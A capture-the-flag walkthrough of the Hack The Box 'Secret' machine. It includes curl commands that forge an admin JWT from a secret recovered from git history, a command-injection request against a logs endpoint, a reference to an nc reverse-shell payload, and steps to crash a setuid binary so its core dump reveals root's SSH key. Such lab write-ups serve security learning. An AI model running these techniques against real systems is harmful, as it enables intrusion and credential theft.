Secret Hackthebox writeup
In this Box we are going to follow documentation instructions to create a new user , will face sensitive data exposure will let us see a delete commit ,this will help us change our token to the admin token and login as admin , reading source codes we find a command injection so we will have a reverse shell as a user, for the root part there is a suid binary that can read any file on the system and count it , and in the source code it has PR_SET_DUMPABLE
so we can dump it if it receives a signal while running ,we will send segmentation fault signal and dump the process then performing strings on the dump we can read the root ssh private key and login as root
Scanning :
nmap -A -T4 10.10.11.120 -oN nmap.txt
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open http Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumerating :
we can Follow the documentation guide to register a user :
so we can try :
curl -X POST http://10.10.11.120/api/user/register -H 'Content-Type: application/json' -d '{"name": "MESBAHA","email": "test@testers.com","password": "hecker"}'
and this is the expected response for a successful registration as we see in the Documentation
now we want to login with this user , we can check the documentation :
curl -X POST http://10.10.11.120/api/user/login -H 'Content-Type: application/json' -d '{"email": "test@testers.com","password": "hecker"}'
and this means we login successfully as documentation tells us :
now we can also see we can try access private route :
providing our token in the host header and making a get request :
curl -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjNlZGEzZTQ0NWI1YzA0NWM2MzRlMTgiLCJuYW1lIjoiTUVTQkFIQSIsImVtYWlsIjoidGVzdEB0ZXN0ZXJzLmNvbSIsImlhdCI6MTY0ODI4NjQ1MH0.qw4zy4hLWs95jH4y09sEcgOFPxDtOEWaw9Xv_E5ZpOg" http://10.10.11.120/api/priv
so now we want to elevate to admin , we need to provide the admin token to login as admin rule.
we can see at the main page we can download the source-codes
maybe downloading the source codes can reveal more information to us
wget http://10.10.11.120/download/files.zip
unzip files.zip
and we can see it is a git repository , we can check the logs to see if the owner deleted something recently.
git log
and this log seems interesting , if we read the current .env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret
it contains the environment variables , there are very common mistakes can happen at this file like providing username and password at the connect variable or releasing secret tokens.
we can follow this path and see the previous version of .env
git show 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
now we have the secret , we can go to jwt.io providing our token and the secret we can modify the name to admin.
if we change it to admin it won’t work , back to the Documnetation we will see admin name is “theadmin”
now moidify our token :
we can now use this token to request the /priv
again
curl -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjNlZGEzZTQ0NWI1YzA0NWM2MzRlMTgiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRlc3RAdGVzdGVycy5jb20iLCJpYXQiOjE2NDgyODY0NTB9.V0Sp_hlU1cYAZ_tYZ3_vHJuQ2saLfoiaxPrzZssD2-E" http://10.10.11.120/api/priv
now what 😂?
we can check the source code for the private route under local-web/routes/private.js
if we make a get request as admin to /logs
with parameter file
it will execute command :
git log --oneline ${file}
we can try see if it works :
and it is working , we can try some command injection here :
curl -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjNlZGEzZTQ0NWI1YzA0NWM2MzRlMTgiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRlc3RAdGVzdGVycy5jb20iLCJpYXQiOjE2NDgyODY0NTB9.V0Sp_hlU1cYAZ_tYZ3_vHJuQ2saLfoiaxPrzZssD2-E" "http://10.10.11.120/api/logs?file=index.js;id"
Foothold:
Hence we have command injection we can now try to get a reverse shell .
the nc mkfifo
payload works fine , at revshells.com, but make sure you url-encoded it , i have used this
now we are in :
Privilege escalation :
using Linpeas or Just manual navigating in the system you will find under /opt
and this binary has the suid bit which we can try to abuse
-rwsr-xr-x 1 root root 17824 Oct 7 10:03 count
if we try to run the program we can see it just counts the content in a file
Analyzing the code
we can see the file we supply will be loaded , then the function will count it line by line and word by word,..etc
we can also see this comment and this code line :
this seems irregular to me
prctl(PR_SET_DUMPABLE, 1);
checking prctl() manual here we can find :
hence it is set to 1 in our case this means we can dump it if it receives a signal like “interrupt” while it is running
so we will get another reverse shell on another port
in shell-1 : run the binary and specify the file you want
in shell-2 : kill the process ex: kill -SIGSEGV 1718
now as we have dumped it where is the dumps ? , reading here it should be at /var/crash
shell -1 :
shell -2 :
get PID from the ps aux
command
and we see our dump :
reading here to know what to do with a .crash
file
apport-unpack _opt_count.1000.crash /tmp/dumps
now perform strings
on CoreDump
Root Access
Hence we Have port 22 open ,now save the id_rsa
and :
chmod 600 id_rsa
ssh root@10.10.11.120 -i id_rsa